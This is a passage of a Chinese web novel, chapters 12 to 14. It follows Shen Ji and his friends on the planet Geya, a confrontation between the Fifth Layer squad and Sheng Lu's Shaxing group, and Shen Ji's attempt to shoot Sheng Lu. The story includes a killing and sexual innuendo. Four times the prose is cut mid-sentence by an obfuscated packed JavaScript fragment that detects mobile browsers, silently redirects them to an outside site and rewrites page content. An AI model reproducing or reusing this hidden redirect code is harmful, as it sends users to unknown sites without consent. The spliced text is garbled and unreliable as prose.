“第五层的人都是精神力异能高手，他们听命于国联部，专门负责那些地方政府或军队无法解决的精神力异能事件。” “听起来很像特种部队。”雷伊道。 阿卡修斯点头：“但是，也有他们头疼的对象，比如沙星组织和圣路，就是第五层多年来无法解决的心病。” 雷伊颇为同意地摸了摸下巴：“毕竟是‘大反派’嘛……” 阿卡修斯道：“大反派是什么？” 歌雅人类没有“反派”这个概念。 忽然传来低沉的破空声，几人抬头，鲸鱼的肚子几乎从他们头顶上空掠过，往左右城的方向去了。 这时候，劳埃斯忽然想起什么，道：“沈继已经一天一夜没有睡了。” 雷伊拍了脑袋：“啊！我们忘了……” 几人打开光脑，循着定位，又回到了左右城。 此时的左右城火光冲天，夜风狂暴，那火异常猛烈，疯狂吞噬一切。 十几艘消防军机在火焰上方救火。 从远处看，如同怒放的鲜花上面十几只忙碌的蜜蜂，显然是无济于事了。 鲸鱼长舰已经悬停在天空上，从舰身下延伸出一个八角形状的机械传输仪，一条条运输道穿过八角仪，散发的光晕照亮了夜空。 随着光芒渐渐消散，第五层的成员已经落在左右城的天台上。 “又是他们做的……” 这是第五层最为精锐的一支小队。看着眼前一片火焰冲天，人间炼狱，众人不由皱眉。 队长冷道：“先帮忙灭火。” 忽然，一名队员惊诧的声音响起：“那是……圣路？” 天台顶端，圣路站在一座旋转木梯下，白色长发随着漂亮的火蛇飞舞。 疯狂的烈焰似乎也惧怕恶魔，触及他的衣角就自动缩回去。 七名沙星成员高低不一地站在阶梯上。 似乎正等待他们的到来。 要知道，平时他们可是杀完人就头也不回地离开的，这次却停在了案发现场。 “队长，检测到整座大楼内已经没有生命体了。”一名特殊队员俨然道。 队长眉头紧蹙，他知道在左右城内死去的都是高官巨贾，此次事件一定会给整个歌雅社会带来极大的舆论冲击。 而罪魁祸首冷酷的眸珠只是带着嘲讽的笑意。 一直以来，他们都无法擒获沙星组织和圣路，就算碰面也只是屡次遭遇惨烈的败绩。 甚至堪称耻辱的是，圣路对他们第五层从来都是不屑一顾。 “真嚣张啊，圣路，你在等我们来抓你吗？”队长冷道。 听见这话，圣路终于把眸珠移到来人身上，抬手悠闲道：“你想多了，我为什么要等你们？” “为什么要跟他们废话？我们直接动手吧，队长……”一个急性子队员道，手中凝聚着一颗发光的精神力炮弹。 他是最近才被选拔进第五层的新人，还不了解沙星的可怕。 队长皱眉正要说话，沙星组织中一道身影引刃而上，划过一道残影，几乎是零帧起手杀过来。 转瞬间两者精神力碰撞纠缠。 那位新人连连后退，一路火花带闪电，到最后，惯性让他几乎跌出大楼外，幸好被另一名队友及时闪现拉上来。 仅仅是刹那间的事情，第五层就败下阵来。 那位新人脸色灰败，坐在那里不甘之极，他年轻气盛，原本这些日子跟着小队解决了几个强大的精神力异能者，正是志得意满的时候。 而随着与沙星成员的这一交手，积攒的那股傲气被狠狠打破。 队长很头疼，他知道自己的小队不是沙星的对手，好在这些年对方也一直没有跟他们正面冲突，因此，他也顺势保留三分，只要能尽量避免小队伤亡就行。 但是现在圣路就明晃晃地坐在面前，底下是被烈火燃烧的一栋大楼的尸体，身为第五层的小队长，他不能退缩。 “好吧，是时候打一个照面了。”队长踏上前，身体随着精神力柔光覆盖，全身皮肤化出精鳞，光泽犀利。 这是歌雅人中罕见的一种兽人躯体，天生比纯人种的精神力高手有更多力量和速度优势。 眼见着队长一上来就要开大，第五层人员都紧张得盯着对面，同时每个人手中已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401170|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始蓄势。 “我没想打。”圣路闭上眼。 这一句话让队长鼓起的精神力差点破功。 【那你们就别站在案发现场啊混蛋！】队长心里疯狂吐槽。 “你究竟要做什么？圣路。”他现在怀疑对方是在酝酿一场更大的阴谋。 圣路笑道：“我有一位小朋友在睡觉，你们那些轰轰烈烈的出场方式，会吓到他睡不好啊。” “谁？谁睡着了？” 第五层的人上下移目，在沙星组织中看来看去，没有人睡着。 于是左右转头，视线在夜色中寻摸，终于在隔壁大楼墙体外的一座悬浮雕塑上，看见了一个睡着的身影，夜色中只能隐约看到对方一头映着火光的黑色短发。 十八九岁的样子。 队长抽搐了一下：“这就是你说的小朋友？你什么时候成了幼儿园院长？” “如你所见。”圣路居然没有反驳。 那位新人队员挫败地站在那里，他不明白自己的队长为什么要对一个恶贯满盈的杀人组织如此虚与委蛇，对一个恶魔如此和颜悦色。 他前半生视为最高权威最高理想的第五层，在今天好像不一样。 不再是无所匹敌的存在了。 连带着，他觉得自己受到了巨大的侮辱。 似乎急于证明什么，他的目光在所有人中游弋，最终落在沈继身上，他把他当做了沙星成员，同时又觉得这大概是所有人中最弱的，最无防备的。 他可以毫无顾忌地出手。 于是，他做了这辈子最错误的事情。 他手中的那颗精神力炮弹，已经压抑不住蓄满的能量，用力推了出去，目标是雕塑上睡着的人。 虽然是精神力化作的能量弹，速度比不上真正的枪·炮，但如此近的距离想要拦截，几乎无人能做到。 这突如其来的变故，两方的人马全部都无法反应过来。 劳埃斯他们循着定位找到沈继所在的大楼时，看见的就是这一幕。 一颗炮弹带起的能量发出耀眼的光芒，在夜色中灼人眼球，向着睡着的沈继轰去。 “糟了！”雷伊瞪大了眼睛。 一声震耳欲聋的轰炸声响起，所有人的衣角和发丝都被这股余波吹得飞荡。 在狂乱弥漫的烟雾后，听见石块墙砖迸溅激射后，簌簌而落的声音。 但见迷烟散去后，整座大楼的外墙已经被轰出一个巨大的坑。 “沈继！！”雷伊喊起来，声音穿破了寂静的夜空。 劳埃斯道：“别忘了，沈继就算睡着了，身上依然有蚕茧，不会有事的。” 尽管这样说，但眼见这能量炮的威力如此大，他也有些底气不足。 “等等！你们看，那是……圣路……”沙墨睁大了眼睛，不可思议。 只见艺术馆大楼顶端，圣路双手抱着沈继，因为侵入蚕茧的攻击范围，双手被茧丝刺刮到血迹淋淋，颤抖不已。 只要他不放手，攻击一刻不会停止，尽管如此，他依然无动于衷。 所有人都惊愕地看着圣路，见他一双银蓝色的耳鳍显现出来，细细的鳞光在他脸上若隐若现，他的眼中已经一片赤红，没有眼白。 就像真正的恶魔降临人间。 12. 第十二章 “他什么时候……”第五层队员都睁大了眼，看着对面顶楼的男人。 他们根本不知道圣路是什么时候动作的，在那样的情况下，怎么可能会有人的速度这么快。 “难道……他真是恶魔吗？”那新人踉跄着退后了两步。 “那双耳鳍……是人鱼？圣路居然是人鱼……”有人惊讶不已。 就算是队长，也是第一次看到圣路这样的形态，他恨铁不成钢地看了一眼身后的年轻新人。 “乔，你完蛋了。”他警告道。 身为兽人的他最清楚，只有几种情况，人鱼才会无法控制地露出生物特征：第一，是与爱人的欢愉过程中容易显露，第二，生命濒临死亡时，第三，情绪激动，能力暴涨，代表疯狂血腥和杀意。 圣路此时双眸红如血，身后的天体一片云光，浓重的杀意沸腾使得白发苍劲如同巨树的虬根， 叫乔的年轻人早已脸色苍白：“……对不起。” 怎么可以有人的手被绞得血肉模糊，还可以毫无痛感般，甚至稳稳抱着另一个人。 他确信那是恶魔了。 乔几乎要哭出来了。 他真的错了，他不该认为那睡着的家伙是个“无防备的”“最弱的”家伙，他又怎么知道会有人能在睡着时用精神力筑起这么精巧的防御，至少，他没有在任何高手身上见过。 他更不该低估圣路的实力和疯魔，不该错估他对这位沙星成员的在乎。 总之这一切都完了。 队长向他轻声道：“我们可以拖住他一刻，你找机会上鲸鱼舰，否则会死在这的。” “都说了，不应该打扰人休息，很没有礼貌，T，你好像不会管教下属。”圣路的声音略带着点笑意，只是这笑意一点儿也不好听，像胸腔压榨出来的。 T是队长的简称，他冷道：“虽然这么做欠妥，但第五层和沙星是势不两立，我们的队员只是在执行任务。” 现在看，至少圣路还没到失去理智的愤怒，他稍微能放下心来。 圣路此时已经恢复了常态，耳鳍和鳞片也完全消失，眼睛也恢复了光泽。 他弯下腰，将沈继放在地上。 “说的很好，确实是如此……”他说着，像是在赞同。 众人见他的双手一离开沈继，上一刻还滴着血的伤口，下一刻就迅速愈合。 无论何时见，都觉得神奇。 见圣路把沈继放下，雷伊等人总算松了一口气。 他们通过大楼电梯，登上顶楼，在楼顶确定圣路已经不在原地，这才放心出来。 沈继正靠在一边栏杆，看起来天塌下来也不会醒。 “我说沈继大人，还没醒呢？”雷伊夸张道：“两个大帮派正为您火拼呢！” 但见对面大楼上，原本还零零落落站着的第五层队员，已经倒了好几个。 而其他沙星成员还在原地，动也不动。 第五层小队八个人围成一圈，精神力拉出一圈耀眼的防御墙，密不透风地将圣路困在其中。 而那个叫乔的年轻人，在队长的掩护下，正竭力往鲸鱼飞舰下方的八角环靠近。 此时的八角环已经映照出传送光环，乔发了疯地跑向传送阵。 雷伊本以为，这时候沙星的成员应该要动手了，然而他们还是一动不动。 就在乔一脚正准备踏入传送阵，两只地狱手凭空出现，在他头骨上轻轻一掰，清脆的声响，乔还没来得及反应，身体在短暂的抽搐后，委顿在地。 这一切仅在一瞬间发生。 当第五层众人意识到什么时，乔已经在他们眼前失去了呼吸。 “乔！”失去伙伴的绝望让所有人眼圈通红。 “圣路！欺人太甚了！”有人愤怒地发了大招。 躲在沈继后面看戏的几人都忍不住吐槽起来。 劳埃斯：“什么啊这老土台词。” 雷伊：“喂喂，不是说好势不两立吗？怎么就成欺人太甚？” 沙墨：“没错。” 阿卡修斯：“……”亲眼见证恶魔的实力，已经惊恐到说不出话。 反正圣路和沈继看起来关系好，他们就支持圣路和沙星组织。 后面的事情，雷伊他们也不清楚了，为了不被殃及池鱼，他们还是尽早拉着沈继转移了阵地。 在回去的路上，他们和阿卡修斯告别，毕竟他们不属于歌雅，和阿卡修斯相处，他们既不能完全地坦诚布公，更何况总有离开歌雅的那一天，他们和阿卡修斯要如何解释呢。 所以，还不如点到即止。 “再见了！阿卡修斯。”雷伊冲他招手。 “再见。” 尽管阿卡修斯看起来十分不舍，却还是表示理解。只是站在那里望着他们的背影，深夜的街路静悄悄的。 等到了拐角的地方，雷伊立刻绷不住了，拳头捶打着劳埃斯：”呜呜，他看起来真的好像狗狗！我能把他带回柏堡吗？” 劳埃斯看着他：“拜托，柏堡已经有一只狗狗了。” 雷伊疑惑：“什么？” 沙墨哈哈笑起来。 第二天，沈继醒来的时候，雷伊还问他，睡得如何。 “很好。”他看了看面色复杂的几人：“怎么了？” 于是，雷伊迫不及待绘声绘色地向他讲述了昨晚惊天动地的场面。 沈继皱着眉。 “说实话吧，沈继，你跟圣路的关系究竟是怎么一回事。”雷伊变身侦探，摸着下巴。 “他应该知道，你身上有蚕茧，为什么还要这样拼命救你呢？” 沈继觉得这一切都不对劲了。 圣路附身在他身上时，已经是末世后的新人类世纪了，歌雅时期的圣路，不应该认识自己，可他对自己的态度，十分暧昧，十分耐人寻味。 他们之间除了争夺一副躯体的生死对决之外，难道还有别的交集吗？ 几人在歌雅世界又待了一个星期，在歌雅城市的图书馆或者科技展览中心，汲取歌雅人民的智慧结晶和各种奇思妙想的科学公式。 歌雅人热衷于把“缘分”两个字拆解成各种精准精确的公式算法，试图解释各种玄妙的自然现象。 但神奇的是，这些公式套用出来，是十分精准的。 “你们瞧，这是什么？”雷伊喊了一声。 街道边，一个类似于公共电话亭的机器吸引了他们的注意，上面有一串歌雅文字。 劳埃斯这几日虽然对歌雅文字日益精进，但对于这个机器有点儿翻译不出精髓了。 沈继走上前：“无意义不相信机器。” “这名字还挺长的。” 沈继继续解读上面的说明操作：“如果急需要知道未来某件事的发生，请按照公式的方式填写，无意义不相信会为您推测。” “我们试试，看看我们什么时候能回去。” 他们按照上面的要求，将信息填写。 机器上面几个圆形随着信息变化逐渐收缩或放大，最后靠近。 “您提问的关于什么时候能回到您的故乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401171|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，现在得出结论……” 底下的机器开始滚动，最后掉出了一颗球。 劳埃斯打开那颗球，里面写了一个时间：“十七小时后。” 雷伊探头去看机器里面：“肯定是有一个算命先生坐在里面给我们扔球。” 这时候，劳埃斯的光脑通话竟也神奇地响起来。 劳埃斯接通电话，就传来导师的声音：“谢天谢地，终于又接通了，劳埃斯，现在告诉我你们那边的情况。” 这次的通话信号显然比上次好多了。 “我们很好，基本上……没有问题。”劳埃斯道。 “那就好，有个好消息，管理局捕捉到宇宙弦的存在，我们预测，很快就能将你们接回来，这期间，请保持光脑打开的状态，我得提醒你们，时空机启动的时候，你们必须肢体接触。” “等等，肢体接触是什么意思？”雷伊道。 “几个人在一起，有接触，目标对象大，成功概率高，最好你们抱紧一点，谢谢。” 四人组沉默：“……”几个A抱在一起怎么都有点尴尬。 “很好，请随时准备好。” 这时候，一直安静的沈继忽然开口：“还有多久我们会离开？” “推测15～20小时。” 至此通话结束。 雷伊还用光脑给机器拍了个照，准备回去好好研究。 ———— 来到这里半个月，终于要回去了，当天晚上，柏堡小组都有些兴奋得睡不着，除了沈继。 他在深度熟睡了十个小时后，决定再去刺杀一次圣路。 如果这次不能成功，他大概只能回去等死了。 他拿出那把放在酒吧沙发下的那柄精神力手枪。 酒吧内的灯光浑浊苍老，沈继坐在桌前，用精神力凝聚了两几颗杀伤力强悍的子弹。 在他专心致志的侧脸后面，窗外的一个巨屛上播放着一个星期前的左右城事件，据说，里面死的不仅是D国的贵族高官，还有另外几个大国的一些政府要员。 三王子布鲁顿的死，也基本被一起算在沙星头上了。 现在许多国家都发出重金悬赏沙星组织成员的人头。 街头巷尾的广告上刷新了各成员的悬赏金额，有的甚至比之前翻了一倍。 雷伊之前也拿了一张放在桌上，沈继的精神力手枪就放在那张悬赏通告上。 上面，圣路的悬赏金额达到了惊人的程度，据说相当于歌雅一座几十万人口规模的城市一年的人口收入总额。 “沈继，你要去杀圣路吗？”劳埃斯在身后开口。 “你们怎么知道？” 劳埃斯：“……” 雷伊：“……” 沙墨：“……” 因为太明显了啊，你造子弹的时候，也明晃晃的不背着人吗？ 雷伊皱眉道：“为什么呀？上次圣路可是救了你啊！” 照理说，沈继和圣路是两个世界毫无瓜葛的人，没有任何仇怨，再说，他们马上就能回去了，沈继不可能因为歌雅的悬赏令就去杀圣路，这说不通。 “因为我必须杀他。”沈继仔细核对着手里子弹的尺寸。 雷伊不解道：“什么意思呀？你这样真的就像个忘恩负义的家伙。” 沈继认真思考：“他对我的态度是有些特殊，但这不是我不杀他的原因，至少现在不是。” 雷伊震惊了一会儿：“我的天……” 沈继这家伙脑回路跟正常人完全不一样啊。 13. 第十三章 歌雅星球70%被森林覆盖，森林是歌雅人的海洋，这片“海洋”之中，藏匿着大大小小的“岛屿”。 它们由一种特殊的地质组成，柔软但又坚韧，通常覆盖藤蔓青草，开发之后可建立森林城市，又称为森林岛屿。 D国森林中的一座森林城市。 几个年轻人站在河道边，惊讶地看着眼前这片绿色的城市。 生机盎然中带着规整优美的建筑线条，穿梭机流动在巨大苍老的古树下，百米长的树干横跨在一条河滩上，宛若舟艇的树叶飘动在河道上，上面带着一箱箱货物，悬浮飞行列车从他们头顶上飞过，驶向绿色藤蔓覆盖的高楼。 “看起来，这儿比精灵国还美。”沙墨举起光脑不断拍照。 “为什么在我们快要走的时候才发现这地方？” 雷伊抬头，看着一只宛如飞龙的巨鸟，像童话一样巨大的翅膀覆盖他们的丝线，惊愕地合不拢嘴。 三个小时前…… “我们得跟着你去。” 虽然不知道沈继要杀圣路的原因是什么，但劳埃斯几人还是决定得跟着他。 就算是雷伊认为沈继是“忘恩负义”的行为，也还是要站在沈继这边。 “你们在这等我吧。”沈继说。 “忘了导师说的吗？我们得在一起有肢体接触，否则，在穿越机器开启的时候，你单独行动，说不定会被永远留在这。”雷伊道。 “问题是，你知道圣路在哪吗？”劳埃斯问。 其实，这些时间，沈继一直在寻找圣路的踪迹，终于让他在歌雅的一个地下网站上查找到了关于圣路的消息，由此得知了这座森林城市。 之后他们又花了三个小时的时间找到这里。 “那这就是沙星组织经常出现的第一城区。” 第一城区在森林城市最中心地带，绿色宫殿在第一城区中心，从沈继的目光望出去，以他们为中心，绿色的大楼和古树巨根层层叠叠地包围着他们。 虽然通缉悬赏铺天盖地，偶尔也有一些赏金猎人能进入这里，但实际上能和沙星对抗的精神力高手太少了。 几人站在一间用树洞构造的商场旁，抬头看着天空。 准确地说，这是绿色的树叶覆盖的天空。 一阵野风吹过，森林城市响起沙沙的激荡声。 距离回去大概还有三个小时。 “你们也是来拿悬赏金的吗？” 一个披着绿色大风衣，脸上有刀疤的男人坐在树下，冲他们道。 雷伊想了想道：“倒也不是为了悬赏。” “得了吧，这有什么不可承认的。” 见沈继不回答，他又继续道：“我的目标是啄木鸟。你们呢？你们要杀谁？” 他大概猜到他们几个是刚出师没多久的年轻猎人，就敢冒冒失失地来找沙星组织，所以想在几人面前展现一下自己身为前辈的经验。 同时告诉他们，不要和自己争夺啄木鸟的悬赏。 啄木鸟是沙星中一个成员的外号，他们在悬赏令上看过，相比于其他人，金额较低，应该是较容易对付。 “放心，我们不跟你争啄木鸟。”劳埃斯道。 “那是谁？是驼子吗？” “可能是……圣路？”雷伊道。 那人的目光明显睁大了一下，然后皱眉，类似于像看疯子一样地看着他。 过了良久他才道：“吹牛。” “这世上没人能杀得了圣路。” 雷伊道：“那你就能杀得了那个什么鸟？” 说起这个，对方就一脸骄傲：“当然，一年前，我是说我整整观察了一年，摸透了啄木鸟的行踪，每隔十天，啄木鸟就要在这个时间点出来到一间……等等！”忽然，他声音一滞，面色严肃地盯着前方。 几人顺着他的目光看过去，见天空远处几艘穿梭护卫机围着一艘豪华的悬浮舰机，逐渐逼近他们所在的地方。 最后停在了一片巨树搭构的空中停机坪。 一对衣着华丽的夫妻被护卫簇拥着，那贵妇手里还抱着一个孩子。 沈继见那孩子脸色苍白，看起来生了重病，贵妇一行人搭乘全景电梯到达地面，走到那座绿色宫殿前。 “麻烦您，蒂艾金公爵和夫人想见一见圣路大人。”骑士团的人走上前，向大门的守卫道。 “王室的人为什么会来找圣路？”雷伊摸着下巴，按理说现在不少国家都在通缉沙星组织呢。 赏金猎人怀疑地看着他们：“你们是哪个猎人协会教出来的？既然想做赏金任务，就应该做好功课啊，还大言不惭地说想要杀死圣路，不过，这些事情确实也不是一般人能查到的。” “……” “看在我和你们挺有缘的份上，我来告诉你们……” 劳埃斯抬手示意他闭嘴：“不，我们不想知道。” “……”赏金猎人一口气哽住，一腔分享欲无处发泄。 沙墨转过头偷笑。 憋了三十秒后，赏金猎人终于希冀得看向一直没说话的沈继：“其实，你还是很想知道的对吧？” 沈继道：“对我来说这不重要。” “求求你了，听我说完吧……” 终于，在赏金猎人自顾自的解说中，沈继得知，圣路拥有着绝顶的精神力治愈术，他能自愈，同时也能治愈他人。 许多饱受病痛折磨的人们，都想在圣路这里求得一线生机。 “不过，圣路不轻易出手，就算愿意，被救者的至亲也需要付出代价。” 劳埃斯他们是见识过圣路的自愈能力的，因此倒不算惊讶。 “这么说，那个孩子果然是得了病啊。” 赏金猎人道：“蒂艾金公爵的小儿子不知为什么，得了一种无法治愈的怪病，公爵肯定是尝试了各种办法都没用，才会来找圣路。” 沈继看见他手臂内侧一把类似高射机枪的机械枪，装上一种用精铜与精神力合成的子弹。 看起来是十分专业的暗杀武器，比他的手枪厉害多了。 “这是什么枪？”沈继走过去。 赏金猎人拍了拍自己的枪，似乎早就等着他们来问自己了：“哦……这是我找机械大师改造的，就算是再厉害的精神力高手，也休想逃过一颗子弹……” “借一下你的枪。” “……什么？” 沈继伸出手：“借一下你的枪。” 赏金猎人抬起头来，瞳孔里映出一个充满威压的黑色身影，刚刚还一脸骄傲的他，现在眼神清澈地如同一只兔子。 他伸手试图推开沈继的手，像碰到军工合成的机器手一样坚硬。 他又凝起精神力去推他，纹丝不动。 他几乎在手心上加注了所有能用的精神力去推他，因为用力太狠，他的手肤色发红，微微肿胀，脸上青筋逐渐暴起，面色铁青。 然而不仅没有推动那只手一分，反而绝望地发现对方的手又向前进了一寸。 “谢谢。”沈继说。 赏金猎人抽了抽嘴角：“……”拜托，我看起来像是要答应你吗？你就谢谢？ 最终，倒霉的赏金猎人“借”出了他的枪。 沈继接过沉甸甸的枪，枪身几乎有他小臂那样长，这种枪的子弹口径更大，杀伤力当然更强。 他用精神力捏制了几颗纯精神力子弹，装进枪膛中。 看见这整个过程的赏金猎人，不自觉地抽了一下脸颊。 不，从来没有人能直接捏造精神力子弹…… 就算是他这样高等级的猎人，都是需要借助精钢才能制造半精神力的子弹。 这种家伙究竟是哪里来的？ 他看着沈继纯粹的黑发黑眸，猛然醒悟道：“您是……您和沈家是什……” 沈继黑漆漆的眸珠移转，目光落在他身上，他不知为何，又猛然噤声了。 劳埃斯道：“还剩两个小时我们就得回去了，沈继，你最好抓紧时间。” 他们是直接从另一条树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401172|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根通道进入宫殿外层的。门口有两名守卫，但没有阻拦他们。 沈继用精神力感知周围的一切，没有设置任何禁忌。 一进入绿色宫殿的内部，雷伊和沙墨都不禁哇了一声，绿色的叶子连接的走廊，有成千上万类似萤火虫的飞虫，从扶梯的管道中飞过。 恍惚之间，他们置身在绿色的天堂上。 沈继按动了第二十层的按键。 劳埃斯惊讶于他的毫不犹豫，似乎他天生就感知得到圣路在哪里。 脚下是透明的地砖，如同玻璃一样，有一片清澈绿色的湖水隔着玻璃从他们的鞋底下流过，像森林流动的血管。 当他们踏上这条流动的“自然血管”，地下的地砖也移动起来，窗外绿色的树木和大鸟随即飘过，整个世界都围着他们缓缓转动起来。 看着窗外，他们像在森林中站着飞行的树，看着地上，他们就像在水上快速飘过的叶子。 踩向前，地下的水流就溅起水花，伸出手，几片叶子拂过他们的手腕。 流动的大地带着他们缓缓转动到第二层，第三层……旋转向上直到目的地。 在一层一层的走廊上，渐渐能看到三三两两的身影，他们气度自若，身影神秘，在黑色披风后，用各样各色的眼神揣度着这几位年轻的不速之客。 一路上，没有任何人阻拦他们。 沈继在一个岔道口绕了进去，他看见了那对公爵夫妻。 公爵夫人跪在地上：“请求圣路先生，请帮帮我的孩子。” 沈继站在拐角后，没有看到圣路的身影。 一个佝偻着背的男人道：“你们找到这里，总应该知道圣路先生的规矩吧。” 那公爵夫人脸色苍白，但神色坚定：“是的，请向圣路先生说明，我愿意付出任何代价，只要让我的孩子健康。” 而自始至终，那位蒂艾金公爵只是高傲地站在那里，脸色含怒，身为堂堂公爵，在这里没有受到任何待客之道，甚至连座位都没有。 “公爵夫人，您不必太过伤心，圣路先生最喜欢孩子，您的孩子会健康的。”那个驼子轻声道。 “真的？” 蒂艾金公爵冷笑：“最喜欢孩子？除了这些愚昧的女人和无知的下等人民，谁会相信那个屠杀了一整个村庄的大恶魔会喜欢孩子？” 驼子的语气依然平静：“圣路先生喜欢孩子，也会治好孩子的病，但是需要蒂艾金公爵的一条手臂。” “你说什么？！”蒂艾金公爵阴沉着脸。 他的话在这里显然没有任何效力。 “这很划算。”驼子仍旧道。 沈继没有再听，他继续穿过走廊，感知到圣路的气息越来越浓，感受到了对方的精神力，就在这里面最深处的地方。 他走到里面，听见那个孩子哭泣的声音，在一间蓝绿色的房间内，一眼看到了圣路，他白色的长发，垂坠在洁净的地毯上。 大恶魔抱着那个孩子，孩子在哭，但脸色微红，哭声有力，比之刚刚的苍白，显然不一样。 圣路垂眸看着这弱小的生命，冷酷中带着讥讽：“人类的孩子天生就懂得如何哭，懂得如何让你的母亲，甘愿为你献出生命，卑鄙的小子。” 沈继有些惊讶，无论何时，圣路和他所能想到的现实中任何一个omega的形象，完全颠覆。 尽管这么说，圣路还是轻轻把孩子放在长方形的桌上，让一个成员把孩子抱下去还给那位母亲了。 他的目光随着那孩子的身影，顺势转向了门口的沈继。 圣路依然穿着那套黑色的西服，冷酷英俊的脸庞在看见沈继时，也变得惊喜又温柔了。 他向他伸开双臂，和之前的冷酷判若两人，他不说话，一双眼睛却十分清楚渴望地向他求一个拥抱。 沈继想起树上那只等待鸟妈妈回来的雏鸟。 不对，这个比喻太奇怪了。 圣路总是这样莫名其妙，沈继觉得该问问他：“我们以前认识吗？” 14. 第十四章 离回去的时间只剩一个小时。 森林城市的风吹进这片巨大的落地窗，圣路张开的双手没有得到回应，只能摊开放在桌面上，脸色难得的平静。 “我们以前认识吗？”沈继又问他。 圣路以一种沈继无法看透的神情看着他。 在沉默片刻后，他挑眉，他学着沈继的语气和神情道：“我们以前认识吗？” 之后贯以一场冷笑，像冰天雪地里的一片冷风。 沈继皱眉。 圣路忽然闭眼，淡色的眼睫在颤抖，仿佛在克制着什么：“不……原谅我吧，我太想念你了。” 他睁开眼睛抬起头望着天花板上的镜面，上面映出两人的身影，他那漂亮偏长的手指遮住自己的视线，指尖扣住自己的脸庞，红色的眸珠透露出一点光芒。 当看见镜面中沈继抬起手中的枪对准他时，圣路错愕了一下，又露出他那伤心可怜的神情：“非得在人家伤感的时候突然来一枪吗？” “……”沈继默默捏紧了枪把，闭上眼，咬紧了牙。 他怕一看他，就想狠狠瞪他，一张口就想狠狠骂他。 不，他得忍住了，只要一发飙，圣路就会被爽到。 连续几次，他已经有了前车之鉴。 圣路有M病，但是沈继可没有那种S的倾向。 “……”圣路却紧紧看着他，连续又可耻地故意露出那种被抛弃伤心的眼神。 沈继恨不得立刻！马上！狠狠！一把拉起他的领子，冲他吼道：【我根本不懂你在伤感什么好吗！？！】 狠狠摇他！ 【我问你我们以前认识吗？！我问你了！！你搁这抬头望天给谁看，你倒是说清楚啊！让我看着你那可耻的下巴猜吗？！】 继续狠狠摇他！ 当然，他不可能真的抓起圣路的领子去摇他。 那圣路得爽成什么样。 在脑海里完成了这一切后，沈继睁开眼。 他的枪口一直对准了他的心脏。 而圣路始终没有任何举动，除了眼神中的魔法攻击，他笑着张开双手：“我等着你开枪呢，亲爱的。” “永远再见吧，圣路。” 他扣动扳机，听见沉闷的声响，是子弹击中身体的声音。 圣路的手臂被精神力子弹洞穿而过，血色模糊，几乎连骨头都断了。 沈继惊讶，他对准的是圣路的心脏，而不是手臂。 圣路垂眸看着自己快要断掉的手臂，那颗子弹在他血肉中穿过，留下灼热滚烫的精神力余波。 疼痛让他的额头冒出冷汗，然而，只要一受伤，他的眼神又病态迷离起来了。 “沈继……好烫……好热……” 他白皙的脸庞微红，眼神暧昧无比地黏着他，喘息着唇瓣颤抖着呻·吟一声：“啊……太大了……沈继……” 沈继：“……” 这只是一颗子弹！究竟是哪里又戳中你的爽点了！ 沈继看着他在那里爽，冷着脸沉默。 他那冷着的脸，仿佛又再次戳中了圣路的心动点。 “沈继……快……抱抱我吧……”圣路的胸膛起伏着，尽管口中说着那些不清不楚的话，他那张英俊白皙的脸庞却露出一贯变态的笑意。 不知不觉，圣路的手臂都已经愈合了。 真是服了，这可恶的变态。 沈继抬起手觉得应该再来一枪。 “啊……不要……沈继，我受不了了……这个太大了……”圣路又不安分地躁动起来。 他的声音都变了，声线带着浓浓的情·欲，他的手甚至攀上他的胳膊。 “你有病就多多吃药。” 圣路愣了一下，他那双充满暧昧情愫的眼睛恢复了一点清明，带着一点惊喜：”你在关心我？” “哪里有在关心？！”他凑近他，差点就要抓起他的领子，咬牙切齿地吼他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401173|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣路被他猛然凑近的脸震得瞳孔放大，惊讶地看着他，他的脸又病态起来，本来就不对劲的脸变得越来越红，他的呼吸也越来越急促，似乎越发接近高·潮了。 沈继觉得自己也有点毛病，圣路那灼热的呼吸和炽热的视线，几乎就要感染到自己了。 他不由伸手推开他：“你脑子正常一点。” 